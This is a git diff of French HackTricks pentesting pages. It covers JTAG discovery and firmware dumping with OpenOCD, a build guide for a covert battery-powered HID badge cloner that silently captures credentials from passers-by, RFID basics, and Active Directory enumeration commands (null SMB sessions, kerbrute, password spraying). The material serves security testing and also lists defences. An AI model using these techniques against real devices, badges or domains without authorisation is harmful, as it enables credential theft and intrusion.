- Arduino : connectez les broches numériques D2–D11 à jusqu'à 10 pads/testpoints JTAG suspects, et GND Arduino à GND cible. Alimentez la cible séparément à moins que vous ne sachiez que le rail est sûr. Préférez la logique 3,3 V (par exemple, Arduino Due) ou utilisez un convertisseur de niveau/résistances en série lors de la sonde de cibles 1,8–3,3 V.
- Raspberry Pi : la version Pi expose moins de GPIO utilisables (donc les scans sont plus lents) ; vérifiez le dépôt pour la carte des broches actuelle et les contraintes.
Dans Arduino, après avoir connecté les câbles (broche 2 à 11 aux broches JTAG et GND Arduino au GND de la carte de base), **chargez le programme JTAGenum dans Arduino** et dans le Moniteur Série, envoyez un **`h`** (commande pour l'aide) et vous devriez voir l'aide :
Une fois flashé, ouvrez le moniteur série à 115200 bauds et envoyez `h` pour obtenir de l'aide. Flux typique :
- `l` trouver les boucles de retour pour éviter les faux positifs
- `r` basculer les pull-ups internes si nécessaire
- `s` scanner pour TCK/TMS/TDI/TDO (et parfois TRST/SRST)
- `y` forcer IR pour découvrir des opcodes non documentés
- `x` instantané de scan de frontière des états des broches
![](<../../images/image (939).png>)
![](<../../images/image (578).png>)
Configurez **"Pas de fin de ligne" et 115200baud**.\
Envoyez la commande s pour commencer le scan :
![](<../../images/image (774).png>)
Si vous contactez un JTAG, vous trouverez une ou plusieurs **lignes commençant par FOUND!** indiquant les broches de JTAG.
Si un TAP valide est trouvé, vous verrez des lignes commençant par `FOUND!` indiquant les broches découvertes.
Conseils
- Partagez toujours la masse, et ne jamais alimenter des broches inconnues au-dessus de Vtref cible. En cas de doute, ajoutez des résistances en série de 100–470 Ω sur les broches candidates.
- Si le dispositif utilise SWD/SWJ au lieu de JTAG à 4 fils, JTAGenum peut ne pas le détecter ; essayez des outils SWD ou un adaptateur qui prend en charge SWJ‑DP.
## Chasse aux broches plus sûre et configuration matérielle
- Identifiez d'abord Vtref et GND avec un multimètre. De nombreux adaptateurs ont besoin de Vtref pour définir la tension I/O.
- Conversion de niveau : préférez les convertisseurs de niveau bidirectionnels conçus pour les signaux push-pull (les lignes JTAG ne sont pas à drain ouvert). Évitez les convertisseurs I2C à direction automatique pour JTAG.
- Adaptateurs utiles : cartes FT2232H/FT232H (par exemple, Tigard), CMSIS‑DAP, J‑Link, ST‑LINK (spécifique au fournisseur), ESP‑USB‑JTAG (sur ESP32‑Sx). Connectez au minimum TCK, TMS, TDI, TDO, GND et Vtref ; TRST et SRST en option.
## Premier contact avec OpenOCD (scan et IDCODE)
OpenOCD est le OSS de facto pour JTAG/SWD. Avec un adaptateur pris en charge, vous pouvez scanner la chaîne et lire les IDCODEs :
- Exemple générique avec un J‑Link :
```
openocd -f interface/jlink.cfg -c "transport select jtag; adapter speed 1000" \
-c "init; scan_chain; shutdown"
```
- ESP32‑S3 USB‑JTAG intégré (aucun sonde externe requise) :
```
openocd -f board/esp32s3-builtin.cfg -c "init; scan_chain; shutdown"
```
Notes
- Si vous obtenez un IDCODE "tous les uns/zéros", vérifiez le câblage, l'alimentation, Vtref, et que le port n'est pas verrouillé par des fusibles/bytes d'option.
- Voir OpenOCD bas niveau `irscan`/`drscan` pour une interaction manuelle TAP lors de la mise en route de chaînes inconnues.
## Arrêt du CPU et vidage de la mémoire/flash
Une fois que le TAP est reconnu et qu'un script cible est choisi, vous pouvez arrêter le cœur et vider les régions de mémoire ou la flash interne. Exemples (ajuster la cible, les adresses de base et les tailles) :
- Cible générique après init :
```
openocd -f interface/jlink.cfg -f target/stm32f1x.cfg \
-c "init; reset halt; mdw 0x08000000 4; dump_image flash.bin 0x08000000 0x00100000; shutdown"
```
- RISC‑V SoC (préférer SBA lorsque disponible) :
```
openocd -f interface/ftdi/ft232h.cfg -f target/riscv.cfg \
-c "init; riscv set_prefer_sba on; halt; dump_image sram.bin 0x80000000 0x20000; shutdown"
```
- ESP32‑S3, programmer ou lire via l'assistant OpenOCD :
```
openocd -f board/esp32s3-builtin.cfg \
-c "program_esp app.bin 0x10000 verify exit"
```
Tips
- Utilisez `mdw/mdh/mdb` pour vérifier la mémoire avant de faire de longs dumps.
- Pour les chaînes multi-appareils, définissez BYPASS sur les non-cibles ou utilisez un fichier de carte qui définit tous les TAPs.
## Astuces de test de frontière (EXTEST/SAMPLE)
Même lorsque l'accès de débogage du CPU est verrouillé, le test de frontière peut encore être exposé. Avec UrJTAG/OpenOCD, vous pouvez :
- SAMPLE pour prendre un instantané des états des broches pendant que le système fonctionne (trouver l'activité du bus, confirmer le mappage des broches).
- EXTEST pour piloter des broches (par exemple, bit-bang des lignes SPI flash externes via le MCU pour les lire hors ligne si le câblage de la carte le permet).
Flux minimal UrJTAG avec un adaptateur FT2232x :
```
jtag> cable ft2232 vid=0x0403 pid=0x6010 interface=1
jtag> frequency 100000
jtag> detect
jtag> bsdl path /path/to/bsdl/files
jtag> instruction EXTEST
jtag> shift ir
jtag> dr <bit pattern for boundary register>
```
Vous avez besoin du BSDL de l'appareil pour connaître l'ordre des bits des registres de frontière. Attention, certains fournisseurs verrouillent les cellules de scan de frontière en production.
## Cibles modernes et notes
- ESP32‑S3/C3 incluent un pont USB‑JTAG natif ; OpenOCD peut communiquer directement via USB sans sonde externe. Très pratique pour le triage et les dumps.
- Le débogage RISC‑V (v0.13+) est largement supporté par OpenOCD ; préférez SBA pour l'accès mémoire lorsque le cœur ne peut pas être arrêté en toute sécurité.
- De nombreux MCU mettent en œuvre l'authentification de débogage et les états de cycle de vie. Si le JTAG semble mort mais que l'alimentation est correcte, l'appareil peut être fusionné dans un état fermé ou nécessite une sonde authentifiée.
## Défenses et durcissement (à quoi s'attendre sur des appareils réels)
- Désactivez ou verrouillez définitivement le JTAG/SWD en production (par exemple, niveau 2 RDP STM32, eFuses ESP qui désactivent PAD JTAG, APPROTECT/DPAP NXP/Nordic).
- Exigez une authentification de débogage (ARMv8.2‑A ADIv6 Debug Authentication, réponse au défi gérée par l'OEM) tout en conservant l'accès à la fabrication.
- Ne pas acheminer de pads de test faciles ; enterrez les vias de test, retirez/remplissez les résistances pour isoler le TAP, utilisez des connecteurs avec clé ou des dispositifs à broches pogo.
- Verrouillage de débogage à l'alimentation : placez le TAP derrière un ROM précoce imposant un démarrage sécurisé.
## Références
- OpenOCD User’s Guide – JTAG Commands and configuration. https://openocd.org/doc-release/html/JTAG-Commands.html
- Espressif ESP32‑S3 JTAG debugging (USB‑JTAG, OpenOCD usage). https://docs.espressif.com/projects/esp-idf/en/latest/esp32s3/api-guides/jtag-debugging/
{{#include ../../banners/hacktricks-training.md}}

84
src/todo/radio-hacking/maxiprox-mobile-cloner.md Normal file
View File

@ -0,0 +1,84 @@
# Construction d'un Cloner Mobile HID MaxiProx 125 kHz Portable
{{#include ../../banners/hacktricks-training.md}}
## Objectif
Transformer un lecteur HID MaxiProx 5375 à longue portée de 125 kHz alimenté par le secteur en un cloner de badge portable, alimenté par batterie, qui récolte silencieusement des cartes de proximité lors des évaluations de sécurité physique.
La conversion décrite ici est basée sur la série de recherches de TrustedSec "Let’s Clone a Cloner – Part 3: Putting It All Together" et combine des considérations mécaniques, électriques et RF afin que le dispositif final puisse être glissé dans un sac à dos et utilisé immédiatement sur site.
> [!warning]
> Manipuler des équipements alimentés par le secteur et des batteries Lithium-ion peut être dangereux. Vérifiez chaque connexion **avant** d'alimenter le circuit et gardez les antennes, le coaxial et les plans de masse exactement comme ils étaient dans la conception d'origine pour éviter de désaccorder le lecteur.
## Liste des Matériaux (BOM)
* Lecteur HID MaxiProx 5375 (ou tout lecteur HID Prox® à longue portée de 12 V)
* Outil RFID ESP v2.2 (sniffer/logger Wiegand basé sur ESP32)
* Module de déclenchement USB-PD (Power-Delivery) capable de négocier 12 V @ ≥3 A
* Batterie USB-C de 100 W (sorties 12 V profil PD)
* Fil de connexion isolé en silicone 26 AWG – rouge/blanc
* Interrupteur à bascule SPST à montage en panneau (pour le kill-switch du beeper)
* Capuchon de protection NKK AT4072 / capuchon anti-accident
* Fer à souder, tresse à dessouder et pompe à dessouder
* Outils manuels classés ABS : scie à métaux, couteau utilitaire, limes plates et demi-rondes
* Forets de 1/16″ (1,5 mm) et 1/8″ (3 mm)
* Ruban adhésif double face 3 M VHB & attaches zip
## 1. Sous-système d'Alimentation
1. Dessoudez et retirez la carte fille du convertisseur buck d'origine utilisée pour générer 5 V pour le PCB logique.
2. Montez un déclencheur USB-PD à côté de l'outil RFID ESP et faites passer le réceptacle USB-C du déclencheur à l'extérieur de l'enceinte.
3. Le déclencheur PD négocie 12 V à partir de la batterie et l'alimente directement au MaxiProx (le lecteur s'attend nativement à 10–14 V). Un rail secondaire de 5 V est pris de la carte ESP pour alimenter tout accessoire.
4. Le pack de batterie de 100 W est positionné à fleur contre le support interne afin qu'il n'y ait **aucun** câble d'alimentation traînant sur l'antenne ferrite, préservant ainsi les performances RF.
## 2. Kill-Switch du Beeper – Fonctionnement Silencieux
1. Localisez les deux pads de haut-parleur sur la carte logique du MaxiProx.
2. Nettoyez *les deux* pads, puis ressoudez uniquement le pad **négatif**.
3. Soudez des fils 26 AWG (blanc = négatif, rouge = positif) aux pads du beeper et faites-les passer par une fente nouvellement découpée vers un interrupteur SPST à montage en panneau.
4. Lorsque l'interrupteur est ouvert, le circuit du beeper est interrompu et le lecteur fonctionne en silence complet – idéal pour la récolte discrète de badges.
5. Installez un capuchon de sécurité à ressort NKK AT4072 sur le bascule. Agrandissez soigneusement le trou avec une scie à métaux / lime jusqu'à ce qu'il s'enclenche sur le corps de l'interrupteur. Le garde empêche une activation accidentelle à l'intérieur d'un sac à dos.
## 3. Enceinte & Travaux Mécaniques
• Utilisez des coupe-fils à fleur puis un couteau & une lime pour *retirer* le "bump-out" ABS interne afin que la grande batterie USB-C soit à plat sur le support.
• Creusez deux canaux parallèles dans le mur de l'enceinte pour le câble USB-C ; cela fixe la batterie en place et élimine le mouvement/la vibration.
• Créez une ouverture rectangulaire pour le bouton **d'alimentation** de la batterie :
1. Collez un pochoir en papier sur l'emplacement.
2. Percez des trous pilotes de 1/16″ dans les quatre coins.
3. Agrandissez avec un foret de 1/8″.
4. Reliez les trous avec une scie à métaux ; finissez les bords avec une lime.
✱ Un Dremel rotatif a été *évité* – la mèche à grande vitesse fait fondre l'ABS épais et laisse un bord inesthétique.
## 4. Assemblage Final
1. Réinstallez la carte logique du MaxiProx et ressoudez le pigtail SMA au pad de masse du PCB du lecteur.
2. Montez l'outil RFID ESP et le déclencheur USB-PD en utilisant 3 M VHB.
3. Organisez tous les câbles avec des attaches zip, en gardant les fils d'alimentation **loin** de la boucle d'antenne.
4. Serrez les vis de l'enceinte jusqu'à ce que la batterie soit légèrement comprimée ; la friction interne empêche le pack de se déplacer lorsque le dispositif se rétracte après chaque lecture de carte.
## 5. Tests de Portée & de Blindage
* En utilisant une carte de test **Pupa** de 125 kHz, le cloner portable a obtenu des lectures cohérentes à **≈ 8 cm** en plein air – identique à l'opération alimentée par le secteur.
* Placer le lecteur à l'intérieur d'une boîte en métal à paroi fine (pour simuler un bureau de hall de banque) a réduit la portée à ≤ 2 cm, confirmant que des enceintes métalliques substantielles agissent comme des écrans RF efficaces.
## Flux de Travail d'Utilisation
1. Chargez la batterie USB-C, connectez-la et activez l'interrupteur principal.
2. (Optionnel) Ouvrez le garde du beeper et activez le retour sonore lors des tests sur banc ; verrouillez-le avant une utilisation discrète sur le terrain.
3. Passez devant le titulaire de badge cible – le MaxiProx va alimenter la carte et l'outil RFID ESP capture le flux Wiegand.
4. Déversez les identifiants capturés via Wi-Fi ou USB-UART et rejouez/cloner selon les besoins.
## Dépannage
| Symptôme | Cause Probable | Solution |
|---------|--------------|------|
| Le lecteur redémarre lorsque la carte est présentée | Le déclencheur PD a négocié 9 V au lieu de 12 V | Vérifiez les jumpers du déclencheur / essayez un câble USB-C de plus haute puissance |
| Pas de portée de lecture | Batterie ou câblage reposant *sur* l'antenne | Réacheminez les câbles & gardez 2 cm de dégagement autour de la boucle ferrite |
| Le beeper émet toujours des bips | Interrupteur câblé sur le fil positif au lieu du négatif | Déplacez le kill-switch pour interrompre la trace du haut-parleur **négatif** |
## Références
- [Let’s Clone a Cloner – Part 3 (TrustedSec)](https://trustedsec.com/blog/lets-clone-a-cloner-part-3-putting-it-all-together)
{{#include ../../banners/hacktricks-training.md}}

29
src/todo/radio-hacking/pentesting-rfid.md
View File

@ -12,7 +12,7 @@ Une étiquette RFID peut s'appuyer sur **sa propre source d'alimentation (active
EPCglobal divise les étiquettes RFID en six catégories. Une étiquette de chaque catégorie possède toutes les capacités énumérées dans la catégorie précédente, ce qui la rend rétrocompatible.
- Les étiquettes de **Classe 0** sont des étiquettes **passives** qui fonctionnent dans les bandes **UHF**. Le fournisseur **les préprogramme** à l'usine de production. En conséquence, vous **ne pouvez pas changer** les informations stockées dans leur mémoire.
- Les étiquettes de **Classe 0** sont des étiquettes **passives** qui fonctionnent dans les bandes **UHF**. Le fournisseur les **préprogramme** à l'usine de production. En conséquence, vous **ne pouvez pas changer** les informations stockées dans leur mémoire.
- Les étiquettes de **Classe 1** peuvent également fonctionner dans les bandes **HF**. De plus, elles peuvent être **écrites une seule fois** après la production. De nombreuses étiquettes de Classe 1 peuvent également traiter des **contrôles de redondance cyclique** (CRC) des commandes qu'elles reçoivent. Les CRC sont quelques octets supplémentaires à la fin des commandes pour la détection d'erreurs.
- Les étiquettes de **Classe 2** peuvent être **écrites plusieurs fois**.
- Les étiquettes de **Classe 3** peuvent contenir des **capteurs intégrés** qui peuvent enregistrer des paramètres environnementaux, tels que la température actuelle ou le mouvement de l'étiquette. Ces étiquettes sont **semi-passives**, car bien qu'elles **aient** une source d'alimentation intégrée, comme une **batterie** intégrée, elles **ne peuvent pas initier** une **communication** sans fil avec d'autres étiquettes ou lecteurs.
@ -21,11 +21,11 @@ EPCglobal divise les étiquettes RFID en six catégories. Une étiquette de chaq
### Informations stockées dans les étiquettes RFID
La mémoire d'une étiquette RFID stocke généralement quatre types de données : les **données d'identification**, qui **identifient** l'**entité** à laquelle l'étiquette est attachée (ces données incluent des champs définis par l'utilisateur, tels que des comptes bancaires) ; les **données supplémentaires**, qui fournissent des **détails** **supplémentaires** concernant l'entité ; les **données de contrôle**, utilisées pour la **configuration** interne de l'étiquette ; et les **données du fabricant** de l'étiquette, qui contiennent un Identifiant Unique d'étiquette (**UID**) et des détails concernant la **production**, le **type** et le **fournisseur** de l'étiquette. Vous trouverez les deux premiers types de données dans toutes les étiquettes commerciales ; les deux derniers peuvent différer en fonction du fournisseur de l'étiquette.
La mémoire d'une étiquette RFID stocke généralement quatre types de données : les **données d'identification**, qui **identifient** l'**entité** à laquelle l'étiquette est attachée (ces données incluent des champs définis par l'utilisateur, tels que des comptes bancaires) ; les **données supplémentaires**, qui fournissent des **détails** supplémentaires concernant l'entité ; les **données de contrôle**, utilisées pour la **configuration** interne de l'étiquette ; et les **données du fabricant** de l'étiquette, qui contiennent un Identifiant Unique de l'étiquette (**UID**) et des détails concernant la **production**, le **type** et le **fournisseur** de l'étiquette. Vous trouverez les deux premiers types de données dans toutes les étiquettes commerciales ; les deux derniers peuvent différer en fonction du fournisseur de l'étiquette.
La norme ISO spécifie la valeur de l'Identifiant de Famille d'Application (**AFI**), un code qui indique le **type d'objet** auquel l'étiquette appartient. Un autre registre important, également spécifié par l'ISO, est l'Identifiant de Format de Stockage de Données (**DSFID**), qui définit la **organisation logique des données utilisateur**.
La norme ISO spécifie la valeur de l'Identifiant de Famille d'Application (**AFI**), un code qui indique le **type d'objet** auquel l'étiquette appartient. Un autre registre important, également spécifié par l'ISO, est l'Identifiant de Format de Stockage de Données (**DSFID**), qui définit l'**organisation logique des données utilisateur**.
La plupart des **contrôles de sécurité RFID** ont des mécanismes qui **restreignent** les opérations de **lecture** ou d'**écriture** sur chaque bloc de mémoire utilisateur et sur les registres spéciaux contenant les valeurs AFI et DSFID. Ces **mécanismes de verrouillage** utilisent des données stockées dans la mémoire de contrôle et ont des **mots de passe par défaut** préconfigurés par le fournisseur, mais permettent aux propriétaires d'étiquettes de **configurer des mots de passe personnalisés**.
La plupart des **contrôles de sécurité** RFID ont des mécanismes qui **restreignent** les opérations de **lecture** ou d'**écriture** sur chaque bloc de mémoire utilisateur et sur les registres spéciaux contenant les valeurs AFI et DSFID. Ces **mécanismes de verrouillage** utilisent des données stockées dans la mémoire de contrôle et ont des **mots de passe par défaut** préconfigurés par le fournisseur, mais permettent aux propriétaires d'étiquettes de **configurer des mots de passe personnalisés**.
### Comparaison des étiquettes basse et haute fréquence
@ -38,7 +38,7 @@ Les **étiquettes à basse fréquence** sont souvent utilisées dans des systèm
Ces dispositifs s'appuient sur la technologie **RFID passive** et fonctionnent dans une **plage de 30 kHz à 300 kHz**, bien qu'il soit plus courant d'utiliser 125 kHz à 134 kHz :
- **Longue portée** — une fréquence plus basse se traduit par une portée plus élevée. Il existe des lecteurs EM-Marin et HID, qui fonctionnent à une distance allant jusqu'à un mètre. Ceux-ci sont souvent utilisés dans le stationnement.
- **Protocole primitif** — en raison du faible taux de transfert de données, ces étiquettes ne peuvent transmettre que leur court ID. Dans la plupart des cas, les données ne sont pas authentifiées et ne sont pas protégées de quelque manière que ce soit. Dès que la carte est à portée du lecteur, elle commence simplement à transmettre son ID.
- **Protocole primitif** — en raison du faible taux de transfert de données, ces étiquettes ne peuvent transmettre que leur court ID. Dans la plupart des cas, les données ne sont pas authentifiées et ne sont pas protégées de quelque manière que ce soit. Dès que la carte est dans la portée du lecteur, elle commence simplement à transmettre son ID.
- **Faible sécurité** — Ces cartes peuvent être facilement copiées, ou même lues depuis la poche de quelqu'un d'autre en raison de la primitivité du protocole.
**Protocoles 125 kHz populaires :**
@ -62,15 +62,15 @@ flipper-zero/fz-125khz-rfid.md
Les **étiquettes à haute fréquence** sont utilisées pour une interaction plus complexe entre le lecteur et l'étiquette lorsque vous avez besoin de cryptographie, d'un large transfert de données bidirectionnel, d'authentification, etc.\
On les trouve généralement dans les cartes bancaires, les transports publics et d'autres passes sécurisés.
Les **étiquettes haute fréquence 13,56 MHz sont un ensemble de normes et de protocoles**. Elles sont généralement appelées [NFC](https://nfc-forum.org/what-is-nfc/about-the-technology/), mais ce n'est pas toujours correct. L'ensemble de protocoles de base utilisé aux niveaux physique et logique est ISO 14443. Les protocoles de haut niveau, ainsi que les normes alternatives (comme ISO 19092), en sont basés. Beaucoup de gens se réfèrent à cette technologie comme **communication en champ proche (NFC)**, un terme pour les dispositifs fonctionnant à la fréquence de 13,56 MHz.
Les **étiquettes à haute fréquence de 13,56 MHz sont un ensemble de normes et de protocoles**. Elles sont généralement appelées [NFC](https://nfc-forum.org/what-is-nfc/about-the-technology/), mais ce n'est pas toujours correct. L'ensemble de protocoles de base utilisé aux niveaux physique et logique est ISO 14443. Les protocoles de haut niveau, ainsi que les normes alternatives (comme ISO 19092), en sont basés. Beaucoup de gens se réfèrent à cette technologie comme **Communication en Champ Proche (NFC)**, un terme pour les dispositifs fonctionnant à la fréquence de 13,56 MHz.
<figure><img src="../../images/image (930).png" alt=""><figcaption></figcaption></figure>
Pour simplifier, l'architecture de NFC fonctionne comme suit : le protocole de transmission est choisi par l'entreprise fabriquant les cartes et mis en œuvre sur la base de l'ISO 14443 de bas niveau. Par exemple, NXP a inventé son propre protocole de transmission de haut niveau appelé Mifare. Mais au niveau inférieur, les cartes Mifare sont basées sur la norme ISO 14443-A.
Pour simplifier, l'architecture de NFC fonctionne comme suit : le protocole de transmission est choisi par l'entreprise fabriquant les cartes et mis en œuvre sur la base de l'ISO 14443 de bas niveau. Par exemple, NXP a inventé son propre protocole de transmission de haut niveau appelé Mifare. Mais à un niveau inférieur, les cartes Mifare sont basées sur la norme ISO 14443-A.
Flipper peut interagir à la fois avec le protocole ISO 14443 de bas niveau, ainsi qu'avec le protocole de transfert de données Mifare Ultralight et EMV utilisé dans les cartes bancaires. Nous travaillons à ajouter le support pour Mifare Classic et NFC NDEF. Un examen approfondi des protocoles et des normes qui composent NFC mérite un article séparé que nous prévoyons de publier plus tard.
Flipper peut interagir à la fois avec le protocole ISO 14443 de bas niveau, ainsi qu'avec le protocole de transfert de données Mifare Ultralight et EMV utilisé dans les cartes bancaires. Nous travaillons à l'ajout de la prise en charge de Mifare Classic et NFC NDEF. Un examen approfondi des protocoles et des normes qui composent NFC mérite un article séparé que nous prévoyons de publier plus tard.
Toutes les cartes à haute fréquence basées sur la norme ISO 14443-A ont un identifiant de puce unique. Il agit comme le numéro de série de la carte, comme l'adresse MAC d'une carte réseau. **En général, l'UID fait 4 ou 7 octets**, mais peut rarement atteindre **jusqu'à 10**. Les UIDs ne sont pas secrets et sont facilement lisibles, **parfois même imprimés sur la carte elle-même**.
Toutes les cartes à haute fréquence basées sur la norme ISO 14443-A ont un identifiant de puce unique. Il agit comme le numéro de série de la carte, comme l'adresse MAC d'une carte réseau. **En général, l'UID fait 4 ou 7 octets de long**, mais peut rarement aller **jusqu'à 10**. Les UIDs ne sont pas secrets et sont facilement lisibles, **parfois même imprimés sur la carte elle-même**.
Il existe de nombreux systèmes de contrôle d'accès qui s'appuient sur l'UID pour **authentifier et accorder l'accès**. Parfois, cela se produit **même** lorsque les étiquettes RFID **supportent la cryptographie**. Une telle **mauvaise utilisation** les ramène au niveau des **cartes 125 kHz** en termes de **sécurité**. Les cartes virtuelles (comme Apple Pay) utilisent un UID dynamique afin que les propriétaires de téléphones ne puissent pas ouvrir des portes avec leur application de paiement.
@ -92,8 +92,19 @@ Ou en utilisant le **proxmark** :
proxmark-3.md
{{#endref}}
### Construction d'un cloneur mobile HID MaxiProx 125 kHz
Si vous avez besoin d'une solution **à longue portée**, **alimentée par batterie** pour récolter des badges HID Prox® lors d'engagements de red team, vous pouvez convertir le lecteur mural **HID MaxiProx 5375** en un cloneur autonome qui tient dans un sac à dos. Le guide complet mécanique et électrique est disponible ici :
{{#ref}}
maxiprox-mobile-cloner.md
{{#endref}}
---
## Références
- [https://blog.flipperzero.one/rfid/](https://blog.flipperzero.one/rfid/)
- [Clonons un cloneur – Partie 3 (TrustedSec)](https://trustedsec.com/blog/lets-clone-a-cloner-part-3-putting-it-all-together)
{{#include ../../banners/hacktricks-training.md}}

90
src/windows-hardening/active-directory-methodology/README.md
View File

@ -20,8 +20,8 @@ Les concepts clés au sein de **Active Directory** incluent :
1. **Services de domaine** – Centralise le stockage des données et gère les interactions entre **utilisateurs** et **domaines**, y compris les fonctionnalités d'**authentification** et de **recherche**.
2. **Services de certificats** – Supervise la création, la distribution et la gestion de **certificats numériques** sécurisés.
3. **Services de répertoire léger** – Prend en charge les applications activées par le répertoire via le **protocole LDAP**.
4. **Services de fédération de répertoire** – Fournit des capacités de **connexion unique** pour authentifier les utilisateurs à travers plusieurs applications web en une seule session.
3. **Services d'annuaire léger** – Prend en charge les applications activées par l'annuaire via le **protocole LDAP**.
4. **Services de fédération d'annuaire** – Fournit des capacités de **connexion unique** pour authentifier les utilisateurs à travers plusieurs applications web en une seule session.
5. **Gestion des droits** – Aide à protéger le matériel protégé par des droits d'auteur en régulant sa distribution et son utilisation non autorisées.
6. **Service DNS** – Crucial pour la résolution des **noms de domaine**.
@ -45,10 +45,10 @@ Si vous avez juste accès à un environnement AD mais que vous n'avez pas de cr
- **Tester le réseau :**
- Scanner le réseau, trouver des machines et des ports ouverts et essayer d'**exploiter des vulnérabilités** ou d'**extraire des crédentiels** à partir d'eux (par exemple, [les imprimantes pourraient être des cibles très intéressantes](ad-information-in-printers.md)).
- Énumérer le DNS pourrait donner des informations sur des serveurs clés dans le domaine comme le web, les imprimantes, les partages, le VPN, les médias, etc.
- Énumérer le DNS pourrait donner des informations sur les serveurs clés dans le domaine tels que web, imprimantes, partages, vpn, médias, etc.
- `gobuster dns -d domain.local -t 25 -w /opt/Seclist/Discovery/DNS/subdomain-top2000.txt`
- Consultez la [**Méthodologie de Pentesting Générale**](../../generic-methodologies-and-resources/pentesting-methodology.md) pour trouver plus d'informations sur la façon de faire cela.
- **Vérifiez l'accès anonyme et invité sur les services smb** (cela ne fonctionnera pas sur les versions modernes de Windows) :
- **Vérifiez l'accès nul et invité sur les services smb** (cela ne fonctionnera pas sur les versions modernes de Windows) :
- `enum4linux -a -u "" -p "" <DC IP> && enum4linux -a -u "guest" -p "" <DC IP>`
- `smbmap -u "" -p "" -P 445 -H <DC IP> && smbmap -u "guest" -p "" -P 445 -H <DC IP>`
- `smbclient -U '%' -L //<DC IP> && smbclient -U 'guest%' -L //`
@ -72,7 +72,7 @@ Si vous avez juste accès à un environnement AD mais que vous n'avez pas de cr
- Rassembler des crédentiels **en exposant** [**de faux services UPnP avec evil-S**](../../generic-methodologies-and-resources/pentesting-network/spoofing-ssdp-and-upnp-devices.md)[**SDP**](https://medium.com/@nickvangilder/exploiting-multifunction-printers-during-a-penetration-test-engagement-28d3840d8856)
- [**OSINT**](https://book.hacktricks.wiki/en/generic-methodologies-and-resources/external-recon-methodology/index.html) :
- Extraire des noms d'utilisateur/noms à partir de documents internes, de réseaux sociaux, de services (principalement web) à l'intérieur des environnements de domaine et également à partir de sources disponibles publiquement.
- Si vous trouvez les noms complets des employés de l'entreprise, vous pourriez essayer différentes **conventions de nom d'utilisateur AD** (**[lisez ceci](https://activedirectorypro.com/active-directory-user-naming-convention/)**). Les conventions les plus courantes sont : _NomPrenom_, _Nom.Prenom_, _NomPr_ (3 lettres de chaque), _Nom.Pr_, _NPrenom_, _N.Prenom_, _PrenomNom_, _Prenom.Nom_, _PrenomN_, _Prenom.N_, 3 _lettres aléatoires et 3 chiffres aléatoires_ (abc123).
- Si vous trouvez les noms complets des employés de l'entreprise, vous pourriez essayer différentes **conventions de nom d'utilisateur AD** (**[lisez ceci](https://activedirectorypro.com/active-directory-user-naming-convention/)**). Les conventions les plus courantes sont : _NomPrénom_, _Nom.Prénom_, _NomPr_ (3 lettres de chaque), _Nom.Pr_, _NPrénom_, _N.Prénom_, _PrénomNom_, _Prénom.Nom_, _PrénomN_, _Prénom.N_, 3 _lettres aléatoires et 3 chiffres aléatoires_ (abc123).
- Outils :
- [w0Tx/generate-ad-username](https://github.com/w0Tx/generate-ad-username)
- [urbanadventurer/username-anarchy](https://github.com/urbanadventurer/username-anarchy)
@ -81,7 +81,7 @@ Si vous avez juste accès à un environnement AD mais que vous n'avez pas de cr
- **Énumération SMB/LDAP anonyme :** Consultez les pages [**pentesting SMB**](../../network-services-pentesting/pentesting-smb/index.html) et [**pentesting LDAP**](../../network-services-pentesting/pentesting-ldap.md).
- **Énumération Kerbrute** : Lorsqu'un **nom d'utilisateur invalide est demandé**, le serveur répondra en utilisant le code d'erreur **Kerberos** _KRB5KDC_ERR_C_PRINCIPAL_UNKNOWN_, nous permettant de déterminer que le nom d'utilisateur était invalide. Les **noms d'utilisateur valides** provoqueront soit le **TGT dans une réponse AS-REP**, soit l'erreur _KRB5KDC_ERR_PREAUTH_REQUIRED_, indiquant que l'utilisateur doit effectuer une pré-authentification.
- **Pas d'authentification contre MS-NRPC** : Utilisation du niveau d'authentification = 1 (Pas d'authentification) contre l'interface MS-NRPC (Netlogon) sur les contrôleurs de domaine. La méthode appelle la fonction `DsrGetDcNameEx2` après avoir lié l'interface MS-NRPC pour vérifier si l'utilisateur ou l'ordinateur existe sans aucun crédentiel. L'outil [NauthNRPC](https://github.com/sud0Ru/NauthNRPC) implémente ce type d'énumération. La recherche peut être trouvée [ici](https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2024/05/22190247/A-journey-into-forgotten-Null-Session-and-MS-RPC-interfaces.pdf)
- **Pas d'authentification contre MS-NRPC** : Utilisation du niveau d'auth = 1 (Pas d'authentification) contre l'interface MS-NRPC (Netlogon) sur les contrôleurs de domaine. La méthode appelle la fonction `DsrGetDcNameEx2` après avoir lié l'interface MS-NRPC pour vérifier si l'utilisateur ou l'ordinateur existe sans aucun crédentiel. L'outil [NauthNRPC](https://github.com/sud0Ru/NauthNRPC) implémente ce type d'énumération. La recherche peut être trouvée [ici](https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2024/05/22190247/A-journey-into-forgotten-Null-Session-and-MS-RPC-interfaces.pdf)
```bash
./kerbrute_linux_amd64 userenum -d lab.ropnop.com --dc 10.10.10.10 usernames.txt #From https://github.com/ropnop/kerbrute/releases
@ -114,7 +114,7 @@ Get-GlobalAddressList -ExchHostname [ip] -UserName [domain]\[username] -Password
### Connaître un ou plusieurs noms d'utilisateur
D'accord, donc vous savez que vous avez déjà un nom d'utilisateur valide mais pas de mots de passe... Essayez alors :
D'accord, donc vous savez déjà que vous avez un nom d'utilisateur valide mais pas de mots de passe... Essayez alors :
- [**ASREPRoast**](asreproast.md) : Si un utilisateur **n'a pas** l'attribut _DONT_REQ_PREAUTH_, vous pouvez **demander un message AS_REP** pour cet utilisateur qui contiendra des données chiffrées par une dérivation du mot de passe de l'utilisateur.
- [**Password Spraying**](password-spraying.md) : Essayons les mots de passe les plus **courants** avec chacun des utilisateurs découverts, peut-être qu'un utilisateur utilise un mauvais mot de passe (gardez à l'esprit la politique de mot de passe !).
@ -132,13 +132,13 @@ Vous pourriez être en mesure d'**obtenir** des **hashes** de challenge pour cra
../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md
{{#endref}}
### NTLM Relay
### Relais NTLM
Si vous avez réussi à énumérer l'annuaire actif, vous aurez **plus d'emails et une meilleure compréhension du réseau**. Vous pourriez être en mesure de forcer des [**attaques de relais NTLM**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#relay-attack) pour accéder à l'environnement AD.
### Voler des identifiants NTLM
